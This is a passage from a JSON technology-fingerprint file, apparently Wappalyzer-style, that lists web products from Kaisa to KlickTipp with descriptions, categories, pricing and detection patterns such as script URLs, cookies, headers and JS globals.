\"scriptSrc\": [\n      \"/wp-content/themes/vogue(?:-child)?/\"\n    ],\n    \"website\": \"https://kairaweb.com/wordpress-theme/vogue\"\n  },\n  \"Kaisa\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Kaisa is a platform that leverages data to maintain buyer and seller engagement through personalised customer experiences on a large scale.\",\n    \"icon\": \"Kaisa.svg\",\n    \"scriptSrc\": [\n      \"\\\\.freespee\\\\.com/js/external/fs\\\\.(?:min\\\\.)?js\"\n    ],\n    \"website\": \"https://www.kaisa.io\"\n  },\n  \"Kajabi\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_kjb_session\": \"\"\n    },\n    \"icon\": \"Kajabi.svg\",\n    \"js\": {\n      \"Kajabi\": \"\"\n    },\n    \"pricing\": [\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kajabi.com\"\n  },\n  \"Kakao\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Kakao platform provides various services such as Kakao Talk, Kakao Talk Channel, Kakao Story as well as Kakao Pay, Kakao Commerce, Kakao Page provided by the subsidiaries. Users can use all Kakao platform services with a united account called Kakao Account.\",\n    \"dom\": [\n      \"a[href*='.kakao.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Kakao.svg\",\n    \"js\": {\n      \"Kakao.VERSION\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.kakao\\\\.com/\"\n    ],\n    \"website\": \"https://developers.kakao.com/product\"\n  },\n  \"Kaltura\": {\n    \"cats\": [\n      14,\n      103\n    ],\n    \"description\": \"Kaltura is a video content management platform that allows users to upload, manage, share, publish, and stream videos.\",\n    \"dom\": [\n      \"link[href*='.kaltura.com'], div.kaltura-zone\"\n    ],\n    \"icon\": \"Kaltura.svg\",\n    \"js\": {\n      \"Kplayer\": \"\",\n      \"kGetKalturaEmbedSettings\": \"\",\n      \"kGetKalturaPlayerList\": \"\",\n      \"kalturaIframeEmbed\": \"\",\n      \"restoreKalturaKDPCallback\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.kaltura\\\\.(?:nordu\\\\.net|com)/\"\n    ],\n    \"scripts\": [\n      \"kalturaPlayer\"\n    ],\n    \"website\": \"https://corp.kaltura.com\"\n  },\n  \"Kameleoon\": {\n    \"cats\": [\n      74\n    ],\n    \"cookies\": {\n      \"kameleoonVisitorCode\": \"\"\n    },\n    \"description\": \"Kameleoon is a personalisation technology platform for real-time omnichannel optimisation and conversion.\",\n    \"dom\": [\n      \"link[href*='.kameleoon.eu/kameleoon.js']\"\n    ],\n    \"icon\": \"Kameleoon.svg\",\n    \"js\": {\n      \"Kameleoon.Gatherer.SCRIPT_VERSION\": \"(.+)\\\\;version:\\\\1\",\n      \"kameleoonEndLoadTime\": \"\",\n      \"kameleoonS\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.kameleoon\\\\.\\\\w+/kameleoon\\\\.js\"\n    ],\n    \"website\": \"https://kameleoon.com/\"\n  },\n  \"Kamva\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Kamva.svg\",\n    \"js\": {\n      \"Kamva\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"[CK]amva\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.mykamva\\\\.ir\"\n    ],\n    \"website\": \"https://kamva.ir\"\n  },\n  \"Kapix Studio\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Kapix Studio is a no-code platform that lets anyone build web apps without writing any code.\",\n    \"icon\": \"Kapix.svg\",\n    \"implies\": [\n      \"Vite\",\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"__INITIAL_STATE__\": \"KapixNoCode\",\n      \"kapixVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://studio.kapix.fr\"\n  },\n  \"Kapture CRM\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Kapture CRM is an enterprise-grade SaaS-based customer support automation platform.\",\n    \"icon\": \"Kapture CRM.svg\",\n    \"js\": {\n      \"Kapchat\": \"\",\n      \"kap_chat_js\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.kapturecrm\\\\.com/.+\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.kapturecrm.com\"\n  },\n  \"Karma\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Karma is a test runner for JavaScript that runs on Node.js.\",\n    \"icon\": \"Karma.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"karma.vars.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"karma\\\\.mdpcdn\\\\.com\"\n    ],\n    \"website\": \"https://karma-runner.github.io\"\n  },\n  \"Karoo Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Karoo Chat is a platform that combines human and automated customer service, offering online live chat for customer support.\",\n    \"js\": {\n      \"_kwp.host\": \"widget\\\\.karoo\\\\.com\\\\.br\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://karoo.com.br\"\n  },\n  \"Karte\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Karte is a customer engagement and marketing automation platform that enables businesses to understand their customers, deliver personalised experiences, and optimise marketing strategies.\",\n    \"icon\": \"Karte.svg\",\n    \"js\": {\n      \"__KARTE_REWRITE_ADMIN_CONFIG\": \"\",\n      \"__karte_live\": \"\",\n      \"__karte_loaded\": \"\",\n      \"__karte_tracker\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://karte.io\"\n  },\n  \"Kartra\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Kartra is an online business platform that offers marketing and sales tools.\",\n    \"dom\": [\n      \"form[action*='app.kartra.com']\"\n    ],\n    \"icon\": \"Kartra.svg\",\n    \"js\": {\n      \"init_kartra_tracking\": \"\",\n      \"kartra_tracking_loaded\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.kartra\\\\.com\"\n    ],\n    \"website\": \"https://home.kartra.com\"\n  },\n  \"Kasada\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"KP_UIDz\": \"\"\n    },\n    \"description\": \"Kasada is a cybersecurity company that provides a platform to protect websites and web applications from bot attacks and malicious activities.\",\n    \"icon\": \"Kasada.svg\",\n    \"js\": {\n      \"KPSDK.configure\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.kasada.io\"\n  },\n  \"Keap\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Keap offers an email marketing and sales platform for small businesses, including products to manage customers, customer relationship management, marketing, and ecommerce.\",\n    \"dom\": [\n      \"form[action*='property.infusionsoft.com'], link[href*='.infusionsoft.com']\"\n    ],\n    \"icon\": \"Keap.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.infusionsoft\\\\.com/\"\n    ],\n    \"website\": \"https://keap.com\",\n    \"xhr\": [\n      \"property\\\\.infusionsoft\\\\.com\"\n    ]\n  },\n  \"Keen Delivery\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Keen Delivery is a Dutch shipping platform \",\n    \"icon\": \"Keen Delivery.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bKeen Delivery\\\\b\"\n    ],\n    \"website\": \"https://www.keendelivery.com\"\n  },\n  \"Keen-Slider\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Keen-Slider is a free library agnostic touch slider with native touch/swipe behavior.\",\n    \"dom\": [\n      \"div.keen-slider, div.keen-slider__slide\"\n    ],\n    \"icon\": \"keen-slider.svg\",\n    \"js\": {\n      \"KeenSlider\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://keen-slider.io\"\n  },\n  \"KelonCloud\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"KelonCloud offers a variety of cloud-based services, such as CDN, DDoS mitigation, cloud security, streaming, cloud compute, and more.\",\n    \"headers\": {\n      \"server\": \"^(?:(?:KelonCloud|KC)-Private-CDN|KelonCloud)$\"\n    },\n    \"icon\": \"KelonCloud.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"website\": \"https://www.keloncloud.com\"\n  },\n  \"Kemal\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"description\": \"Kemal is a fast and efficient web framework for the Crystal programming language.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Kemal\"\n    },\n    \"icon\": \"kemalcr.svg\",\n    \"oss\": true,\n    \"website\": \"https://kemalcr.com\"\n  },\n  \"Kendo UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Kendo UI is a HTML5 user interface framework for building interactive and high-performance websites and applications.\",\n    \"dom\": {\n      \"link[href*=kendo]\": {\n        \"attributes\": {\n          \"href\": \"/([\\\\d\\\\.]+).*/kendo\\\\.common\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"html\": [\n      \"<link[^>]*\\\\s+href=[^>]*styles/kendo\\\\.common(?:\\\\.min)?\\\\.css[^>]*/>\"\n    ],\n    \"icon\": \"Kendo UI.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"kendo\": \"\",\n      \"kendo.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/kendo/.*-([\\\\d]{4})%20([\\\\d\\\\.]{6})\\\\;version:\\\\1.\\\\2\"\n    ],\n    \"website\": \"https://www.telerik.com/kendo-ui\"\n  },\n  \"Kenlo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Kenlo is a real estate system from Brazil offering houses, apartments, and more for sale.\",\n    \"dom\": [\n      \"div[class*='logo-kenlo__default'] > span[class*='logo-kenlo__text'] \"\n    ],\n    \"icon\": \"Kenlo.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.kenlo.com.br\"\n  },\n  \"Kentico CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"CMSCookieLevel\": \"\",\n      \"CMSPreferredCulture\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:kentico:kentico_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kentico CMS is a web content management system for building websites, online stores, intranets, and Web 2.0 community sites.\",\n    \"dom\": [\n      \"link[href*='/kentico/bundles/pageComponents/']\"\n    ],\n    \"icon\": \"Kentico CMS.svg\",\n    \"js\": {\n      \"CMS.Application\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Kentico CMS ([\\\\d.R]+ \\\\(build [\\\\d.]+\\\\))\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/CMSPages/GetResource\\\\.ashx\",\n      \"/kentico\\\\.resource\"\n    ],\n    \"website\": \"https://www.kentico.com\"\n  },\n  \"Keptify\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"Keptify helps ecommerce sites of any size to increase sales and conversion rates by providing visitors with a personalised shopping experience.\",\n    \"icon\": \"Keptify.png\",\n    \"js\": {\n      \"KEPTIFY_BASE_URL\": \"\",\n      \"_keptify.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.keptify\\\\.com/\"\n    ],\n    \"website\": \"https://keptify.com\"\n  },\n  \"Kerberos\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Kerberos is an authentication method commonly used by Windows servers\",\n    \"headers\": {\n      \"WWW-Authenticate\": \"^Kerberos\"\n    },\n    \"website\": \"https://tools.ietf.org/html/rfc4559\"\n  },\n  \"Kestrel\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"^Kestrel\"\n    },\n    \"icon\": \"kestrel.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/kestrel\"\n  },\n  \"Ketch\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Ketch is a data control platform that manages compliance with privacy regulations.\",\n    \"icon\": \"Ketch.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ketchcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.ketch.com\"\n  },\n  \"Kevel\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Kevel (formerly Adzerk) is a developer of ad-serving APIs to help developers build server-side ad platforms.\",\n    \"dom\": [\n      \"iframe[src*='adzerk.net'], link[href*='adzerk.net']\"\n    ],\n    \"icon\": \"Kevel.svg\",\n    \"js\": {\n      \"ados\": \"\",\n      \"adosResults\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"adzerk\\\\.net/\"\n    ],\n    \"website\": \"https://www.kevel.com\"\n  },\n  \"KeyCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"KeyCDN is a content delivery network (CDN).\",\n    \"headers\": {\n      \"Server\": \"^keycdn-engine$\"\n    },\n    \"icon\": \"KeyCDN.svg\",\n    \"website\": \"https://www.keycdn.com\"\n  },\n  \"Keybase\": {\n    \"cats\": [\n      16\n    ],\n    \"cpe\": \"cpe:2.3:a:keybase:keybase:*:*:*:*:*:*:*:*\",\n    \"description\": \"Keybase is for keeping everyone's chats and files safe, from families to communities to companies. MacOS, Windows, Linux, iPhone, and Android.\",\n    \"dns\": {\n      \"TXT\": [\n        \"keybase-site-verification\"\n      ]\n    },\n    \"icon\": \"Keybase.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://keybase.io/\"\n  },\n  \"Keymailer\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Keymailer is a game influencer marketing platform that integrates creators, software, and services into one portal.\",\n    \"icon\": \"Keymailer.svg\",\n    \"js\": {\n      \"Keymailer\": \"\",\n      \"KeymailerJS\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"^Keymailer$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://keymailer.co\"\n  },\n  \"Kibana\": {\n    \"cats\": [\n      29,\n      25\n    ],\n    \"cpe\": \"cpe:2.3:a:elasticsearch:kibana:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kibana is an open-source data visualisation dashboard for Elasticsearch. It provides visualisation capabilities on top of the content indexed on an Elasticsearch cluster. Users can create bar, line and scatter plots, or pie charts and maps on top of large volumes of data.\",\n    \"headers\": {\n      \"kbn-name\": \"kibana\",\n      \"kbn-version\": \"^([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<title>Kibana</title>\"\n    ],\n    \"icon\": \"kibana.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"Elasticsearch\"\n    ],\n    \"url\": [\n      \"kibana#/dashboard/\"\n    ],\n    \"website\": \"https://www.elastic.co/products/kibana\"\n  },\n  \"Kibo Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Kibo Commerce is a enterprise ecommerce platform  that offers a cloud-based, end-to-end commerce solution for retailers and branded manufacturers.\",\n    \"icon\": \"Kibo.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"cdn-tp\\\\d+\\\\.mozu\\\\.com\"\n    ],\n    \"website\": \"https://kibocommerce.com\"\n  },\n  \"Kibo Personalization\": {\n    \"cats\": [\n      76,\n      74\n    ],\n    \"description\": \"Kibo Personalization is a omnichannel personalisation software powered by machine learning to deliver individualized customer experiences and powered by Monetate and Certona.\",\n    \"icon\": \"Kibo.svg\",\n    \"js\": {\n      \"BaynoteAPI\": \"\",\n      \"BaynoteJSVersion\": \"\",\n      \"certona.recommendations\": \"\",\n      \"certonaRecommendations\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.baynote\\\\.net\",\n      \"\\\\.certona\\\\.net\"\n    ],\n    \"website\": \"https://kibocommerce.com/personalization-software\"\n  },\n  \"Kicksite\": {\n    \"cats\": [\n      53\n    ],\n    \"cookies\": {\n      \"_kicksite_session\": \"\"\n    },\n    \"description\": \"Kicksite is a gym and martial arts member management software with attendance tracking, automated billing, free texting, lead capture forms and more.\",\n    \"dom\": [\n      \"iframe[src*='.kicksite.net/']\"\n    ],\n    \"icon\": \"Kicksite.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kicksite.com\"\n  },\n  \"Kilatech\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Kilatech is a Shopify ecommerce application builder.\",\n    \"icon\": \"Kilatech.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.kilatechapps\\\\.com/\"\n    ],\n    \"website\": \"https://web.kilatechapps.com\"\n  },\n  \"Kiliba\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Kiliba has developed a module that automates the marketing process from creating an email to distributing it.\",\n    \"icon\": \"Kiliba.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"/modules/kiliba/logo\\\\.png\"\n    ],\n    \"website\": \"https://en.kiliba.com\"\n  },\n  \"Kindful\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Kindful is a cloud-based donor management and fundraising software and database designed for nonprofit organisations.\",\n    \"dom\": [\n      \"a[href*='.kindful.com/']\"\n    ],\n    \"icon\": \"Kindful.svg\",\n    \"js\": {\n      \"Bloomerang.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"KindfulPaymentsConnect\": \"\",\n      \"bloomerangLoadStarted\": \"\",\n      \"kindful_gtag\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kindful.com\"\n  },\n  \"KineticJS\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"KineticJS.png\",\n    \"js\": {\n      \"Kinetic\": \"\",\n      \"Kinetic.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"kinetic(?:-v?([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/ericdrowell/KineticJS/\"\n  },\n  \"Kinsta\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"Kinsta is a managed WordPress hosting provider leveraging the Google Cloud Platform to offer high-performance, secure, and user-friendly hosting solutions for WordPress websites.\",\n    \"headers\": {\n      \"x-kinsta-cache\": \"\"\n    },\n    \"icon\": \"kinsta.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://kinsta.com\"\n  },\n  \"Kintone\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Kintone is a versatile cloud-based platform offering business data management, CRM, and custom app development.\",\n    \"dom\": [\n      \"iframe[src*='.kintoneapp.com/'], a[href*='.kintoneapp.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Kintone.png\",\n    \"js\": {\n      \"kintoneappHost\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kintone.cybozu.co.jp\"\n  },\n  \"Kirby\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"kirby_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kirby is a file-based content management system (CMS) that simplifies website and web application development by using text files for content management instead of a traditional database.\",\n    \"icon\": \"Kirby.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Vue.js\"\n    ],\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getkirby.com\"\n  },\n  \"Kirki Customizer Framework\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Kirki Customizer Framework is a toolkit allowing WordPress developers to use the Customizer and take advantage of its advanced features and flexibility by abstracting the code.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/kirki/']\"\n    ],\n    \"icon\": \"Kirki Customizer Framework.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/kirki/\"\n    ],\n    \"website\": \"https://kirki.org\"\n  },\n  \"Kitcart\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"kitcart_session\": \"\"\n    },\n    \"description\": \"KitCart is a cloud-based solution that helps businesses build ecommerce stores, manage inventory, and more.\",\n    \"dom\": [\n      \"form[action*='usekitcart.com/'], form[action*='kitcart.net/']\"\n    ],\n    \"icon\": \"Kitcart.svg\",\n    \"implies\": [\n      \"Laravel\",\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kitcart.net\"\n  },\n  \"Kiwi Sizing\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Kiwi Sizing is a size chart and a recommender plugin on the Shopify platform.\",\n    \"icon\": \"Kiwi Sizing.svg\",\n    \"js\": {\n      \"KiwiSizing\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.static\\\\.kiwisizing\\\\.com/\"\n    ],\n    \"website\": \"https://www.kiwisizing.com\"\n  },\n  \"Kizen\": {\n    \"cats\": [\n      32,\n      76\n    ],\n    \"description\": \"Kizen is an automation and AI personalization solution designed to simplify and accelerate the adoption of relevant AI technologies in the healthcare, insurance, and financial services industries.\",\n    \"dom\": [\n      \"a[data-kizen-track]\"\n    ],\n    \"icon\": \"Kizen.svg\",\n    \"js\": {\n      \"KIZEN\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kizen.com\"\n  },\n  \"Klangoo\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Klangoo is an AI-based audience engagement solution designed to enhance user interaction and optimise content delivery.\",\n    \"icon\": \"Klangoo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.klangoo\\\\.com/\"\n    ],\n    \"website\": \"https://klangoo.com\"\n  },\n  \"Klara\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Klara is a healthcare communication platform that enables staff to communicate with patients and with each other.\",\n    \"icon\": \"Klara.svg\",\n    \"js\": {\n      \"klaraWidget\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.klara\\\\.com/\"\n    ],\n    \"website\": \"https://www.klara.com\"\n  },\n  \"Klarna Checkout\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"cookies\": {\n      \"ku1-sid\": \"\",\n      \"ku1-vid\": \"\"\n    },\n    \"description\": \"Klarna Checkout is a complete payment solution where Klarna handles a store's entire checkout.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-klarna']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.klarna(?:cdn|services)\\\\.(?:net|com)\"\n    },\n    \"icon\": \"Klarna.svg\",\n    \"js\": {\n      \"KlarnaOnsiteService\": \"\",\n      \"_klarnaCheckout\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.klarnaservices\\\\.com/lib\\\\.js\"\n    ],\n    \"website\": \"https://www.klarna.com/international/\"\n  },\n  \"Klarna Virtual Shopping\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Klarna Virtual Shopping is a service that allows online shoppers to interact with in-store retail experts via live chats and video calls, providing real-time advice and product demonstrations to enhance the online shopping experience.\",\n    \"icon\": \"Klarna.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"HeroWebPluginSettings\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.usehero\\\\.com\"\n    ],\n    \"website\": \"https://www.klarna.com/us/business/marketing-solutions/\"\n  },\n  \"Klaro\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Klaro is a simple consent management platform and privacy tool.\",\n    \"icon\": \"Klaro.png\",\n    \"js\": {\n      \"klaro\": \"\",\n      \"klaroConfig\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://heyklaro.com\"\n  },\n  \"Klasha\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Klasha is a payment solution provider that handles a store's entire checkout.\",\n    \"icon\": \"Klasha.svg\",\n    \"js\": {\n      \"KlashaClient\": \"\"\n    },\n    \"scriptSrc\": [\n      \"klasha-integration\\\\.js\"\n    ],\n    \"website\": \"https://www.klasha.com/\"\n  },\n  \"Klaviyo\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Klaviyo is an email marketing platform for online businesses.\",\n    \"icon\": \"Klaviyo.svg\",\n    \"js\": {\n      \"KlaviyoSubscribe\": \"\",\n      \"klaviyo\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"klaviyo\\\\.com\"\n    ],\n    \"website\": \"https://www.klaviyo.com/\"\n  },\n  \"Klaviyo Reviews\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Klaviyo Reviews is a built-in product review offering for Shopify and WooCommerce by Klaviyo.\",\n    \"icon\": \"Klaviyo.svg\",\n    \"implies\": [\n      \"Klaviyo\"\n    ],\n    \"js\": {\n      \"klaviyoReviewsProductDesignMode\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"klaviyo\\\\.com/onsite/js/reviews\"\n    ],\n    \"website\": \"https://www.klaviyo.com/product-reviews\"\n  },\n  \"Kleeja\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Kleeja is a PHP-based solution for managing file upload services on websites.\",\n    \"icon\": \"Kleeja.svg\",\n    \"js\": {\n      \"update_kleeja_captcha\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kleeja.net\"\n  },\n  \"Kleer\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Kleer is a cloud-based platform that allows dentists to design and manage their own membership plans, offering them directly to uninsured patients.\",\n    \"icon\": \"Kleer.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"member\\\\.kleer\\\\.com/\"\n    ],\n    \"website\": \"https://www.kleer.com\"\n  },\n  \"Klevu\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Klevu is a highly advanced AI-Powered search solution for ecommerce platforms.\",\n    \"icon\": \"Klevu.svg\",\n    \"js\": {\n      \"klevu.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"klevu_apiKey\": \"\",\n      \"klevu_layout\": \"\",\n      \"klevu_sessionId\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.klevu\\\\.\\\\w+/klevu-js-v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.klevu.com\"\n  },\n  \"KlickPages\": {\n    \"cats\": [\n      32,\n      51\n    ],\n    \"description\": \"KlickPages is a landing page management software designed to help businesses execute email marketing campaigns and capture leads.\",\n    \"icon\": \"KlickPages.svg\",\n    \"js\": {\n      \"klickart.analytics\": \"\"\n    },\n    \"meta\": {\n      \"klickart:url\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.klickpages\\\\.com\\\\.br/\"\n    ],\n    \"website\": \"https://klickpages.com.br\"\n  },\n  \"KlickTipp\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"KlickTipp is an email marketing service offering a range of features for businesses, 